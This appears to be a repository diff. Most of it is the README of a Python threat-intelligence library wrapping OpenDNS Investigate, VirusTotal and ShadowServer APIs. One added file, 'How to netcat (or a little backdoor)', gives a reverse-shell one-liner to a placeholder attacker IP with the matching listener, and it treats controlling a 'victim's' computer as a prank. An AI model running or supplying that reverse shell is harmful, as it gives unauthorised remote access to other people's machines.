"1600 amphitheatre parkway",
"please contact contact-admin@google.com, 1600 amphitheatre parkway",
"2400 e. bayshore pkwy"
],
..
}
```
##### Historical WHOIS information for a domain
Calls `whois/{domain}/history` Investigate API endpoint.
Use this method to see historical WHOIS information for the domain.
```python
domains = ["5esb.biz"]
investigate.whois_domains_history(domains)
```
will result in:
```
{
'5esb.biz':[
{
u'registrantFaxExt':u'',
u'administrativeContactPostalCode':u'656448',
u'zoneContactCity':u'',
u'addresses':[
u'nan qu hua yuan xiao he'
],
..
},
..
]
}
```
#### Latest malicious domains for an IP
Calls `ips/{ip}/latest_domains` Investigate API endpoint.
Use this method to see whether the IP address has any malicious domains associated with it.
```python
ips = ["8.8.8.8"]
investigate.latest_malicious(ips)
```
will result in:
```
{
[
'7ltd.biz',
'co0s.ru',
't0link.in',
]
..
}
```
----
### VirusTotal API
[VirusTotal](https://www.virustotal.com/) provides an
[API](https://www.virustotal.com/en/documentation/public-api/) that makes it
possible to query for the reports about:
* Domains
* URLs
* IPs
* File hashes
* File Upload
* Live Feed
* Advanced search
To use the VirusTotal API wrapper import `VirusTotalApi` class from `threat_intel.virustotal` module:
```python
from threat_intel.virustotal import VirusTotalApi
```
To initialize the API wrapper, you need the API key:
```python
vt = VirusTotalApi("<VIRUSTOTAL-API-KEY-HERE>")
```
VirusTotal API calls allow squeezing a list of file hashes or URLs into a single HTTP call.
Depending on the API version you are using (public or private) you may need to tune the maximum number
of the resources (file hashes or URLs) that could be passed in a single API call.
You can do it with the `resources_per_req` parameter:
```python
vt = VirusTotalApi("<VIRUSTOTAL-API-KEY-HERE>", resources_per_req=4)
```
When using the public API your standard request rate allows you too put maximum 4 resources per request.
With private API you are able to put up to 25 resources per call. That is also the default value if you
don't pass the `resources_per_req` parameter.
Of course, when calling the API wrapper methods in the `VirusTotalApi` class, you can pass as many resources
as you want and the wrapper will take care of producing as many API calls as necessary to satisfy the request rate.
Similarly to OpenDNS API wrapper, you can also specify the file name where the responses will be cached:
```python
vt = VirusTotalApi("<VIRUSTOTAL-API-KEY-HERE>", cache_file_name="/tmp/cache.virustotal.json")
```
#### Domain report endpoint
Calls `domain/report` VirusTotal API endpoint.
Pass a list or any other Python enumerable containing the domains:
```python
domains = ["google.com", "baidu.com", "bibikun.ru"]
vt.get_domain_reports(domains)
```
will result in:
```
{
"baidu.com": {
"undetected_referrer_samples": [
{
"positives": 0,
"total": 56,
"sha256": "e3c1aea1352362e4b5c008e16b03810192d12a4f1cc71245f5a75e796c719c69"
}
],
..
}
}
```
#### URL report endpoint
Calls `url/report` VirusTotal API endpoint.
Pass a list or any other Python enumerable containing the URL addresses:
```python
urls = ["http://www.google.com", "http://www.yelp.com"]
vt.get_url_reports(urls)
```
will result in:
```
{
"http://www.google.com": {
"permalink": "https://www.virustotal.com/url/dd014af5ed6b38d9130e3f466f850e46d21b951199d53a18ef29ee9341614eaf/analysis/1423344006/",
"resource": "http://www.google.com",
"url": "http://www.google.com/",
"response_code": 1,
"scan_date": "2015-02-07 21:20:06",
"scan_id": "dd014af5ed6b38d9130e3f466f850e46d21b951199d53a18ef29ee9341614eaf-1423344006",
"verbose_msg": "Scan finished, scan information embedded in this object",
"filescan_id": null,
"positives": 0,
"total": 62,
"scans": {
"CLEAN MX": {
"detected": false,
"result": "clean site"
},
}
..
}
```
#### URL scan endpoint
Calls 'url/scan' VirusTotal API endpoint.
Submit a url or any other Python enumerable containing the URL addresses:
```python
urls = ["http://www.google.com", "http://www.yelp.com"]
vt.post_url_report(urls)
```
#### Hash report endpoint
Calls `file/report` VirusTotal API endpoint.
You can request the file reports passing a list of hashes (md5, sha1 or sha2):
```python
file_hashes = [
"99017f6eebbac24f351415dd410d522d",
"88817f6eebbac24f351415dd410d522d"
]
vt.get_file_reports(file_hashes)
```
will result in:
```
{
"88817f6eebbac24f351415dd410d522d": {
"response_code": 0,
"resource": "88817f6eebbac24f351415dd410d522d",
"verbose_msg": "The requested resource is not among the finished, queued or pending scans"
},
"99017f6eebbac24f351415dd410d522d": {
"scan_id": "52d3df0ed60c46f336c131bf2ca454f73bafdc4b04dfa2aea80746f5ba9e6d1c-1423261860",
"sha1": "4d1740485713a2ab3a4f5822a01f645fe8387f92",
}
..
}
```
#### Hash rescan endpoint
Calls `file/rescan` VirusTotal API endpoint. Use to rescan a previously submitted file.
You can request the file reports passing a list of hashes (md5, sha1 or sha2):
#### Hash behavior endpoint
Calls `file/behaviour` VirusTotal API endpoint. Use to get a report about the behavior of the file when executed in a sandboxed environment (Cuckoo sandbox).
You can request the file reports passing a list of hashes (md5, sha1 or sha2):
```python
file_hashes = [
"99017f6eebbac24f351415dd410d522d",
"88817f6eebbac24f351415dd410d522d"
]
vt.get_file_behaviour(file_hashes)
```
#### Hash network-traffic endpoint
Calls `file/network-traffic` VirusTotal API endpoint. Use to get the dump of the network traffic generated by the file when executed.
You can request the file reports passing a list of hashes (md5, sha1 or sha2):
```python
file_hashes = [
"99017f6eebbac24f351415dd410d522d",
"88817f6eebbac24f351415dd410d522d"
]
vt.get_file_network_traffic(file_hashes)
```
#### Hash download endpoint
Calls `file/download` VirusTotal API endpoint. Use to download a file by its hash.
You can request the file reports passing a list of hashes (md5, sha1 or sha2):
```python
file_hashes = [
"99017f6eebbac24f351415dd410d522d",
"88817f6eebbac24f351415dd410d522d"
]
vt.get_file_download(file_hashes)
```
#### IP reports endpoint
Calls `ip-address/report` VirusTotal API endpoint.
Pass a list or any other Python enumerable containing the IP addresses:
```python
ips = ['90.156.201.27', '198.51.132.80']
vt.get_ip_reports(ips)
```
will result in:
```
{
"90.156.201.27": {
"asn": "25532",
"country": "RU",
"response_code": 1,
"as_owner": ".masterhost autonomous system",
"verbose_msg": "IP address found in dataset",
"resolutions": [
{
"last_resolved": "2013-04-01 00:00:00",
"hostname": "027.ru"
},
{
"last_resolved": "2015-01-20 00:00:00",
"hostname": "600volt.ru"
},
..
],
"detected_urls": [
{
"url": "http://shop.albione.ru/",
"positives": 2,
"total": 52,
"scan_date": "2014-04-06 11:18:17"
},
{
"url": "http://www.orlov.ru/",
"positives": 3,
"total": 52,
"scan_date": "2014-03-05 09:13:31"
}
],
},
"198.51.132.80": {
..
}
}
```
#### URL live feed endpoint
Calls `url/distribution` VirusTotal API endpoint. Use to get a live feed with the latest URLs submitted to VirusTotal.
```python
vt.get_url_distribution()
```
#### Hash live feed endpoint
Calls `file/distribution` VirusTotal API endpoint. Use to get a live feed with the latest Hashes submitted to VirusTotal.
```python
vt.get_file_distribution()
```
#### Hash search endpoint
Calls `file/search` VirusTotal API endpoint. Use to search for samples that match some binary/metadata/detection criteria.
```python
vt.get_file_search()
```
#### File date endpoint
Calls `file/clusters` VirusTotal API endpoint. Use to list similarity clusters for a given time frame.
```python
vt.get_file_clusters()
```
---
### ShadowServer API
[ShadowServer](http://shadowserver.org/) provides an [API](http://bin-test.shadowserver.org/) that allows to test
the hashes against a list of known software applications.
To use the ShadowServer API wrapper import `ShadowServerApi` class from `threat_intel.shadowserver` module:
```python
from threat_intel.shadowserver import ShadowServerApi
```
To use the API wrapper simply call the `ShadowServerApi` initializer:
```python
ss = ShadowServerApi()
```
You can also specify the file name where the API responses will be cached:
```python
ss = ShadowServerApi(cache_file_name="/tmp/cache.shadowserver.json")
```
To check whether the hashes are on the ShadowServer list of known hashes,
call `get_bin_test` method and pass enumerable with the hashes you want to test:
```python
file_hashes = [
"99017f6eebbac24f351415dd410d522d",
"88817f6eebbac24f351415dd410d522d"
]
ss.get_bin_test(file_hashes)
```
---
## Installation
### Install with `pip`
```shell
$ pip install threat_intel
```
### Testing
Go to town with `make`:
```shell
$ sudo pip install tox
$ make test
```

View File

@ -0,0 +1,24 @@
# How to netcat (or a little backdoor)
Create the reverse shell in the port 1337:
```bash
$ sh -i >& /dev/tcp/ATTACKERS_IP/1337 0>&1
```
Now just netcat to it. From a Linux machine:
```bash
$ nc -l -p 1337
```
Or from a Macbook:
```bash
$ nc -l 1337
```
You should get shell. A cute prank is making the victim's computer talk:
```bash
$ say Hacked
```

View File

@ -1,4 +1,4 @@
# [Wireshark Guide (by bt3)](http://bt3gl.github.io/wiresharking-for-fun-or-profit.html)
# Wireshark Guide
[Wireshark](https://www.wireshark.org/) is an open source **network packet analyzer** that allows live traffic analysis, with support to several protocols.

Some files were not shown because too many files have changed in this diff Show More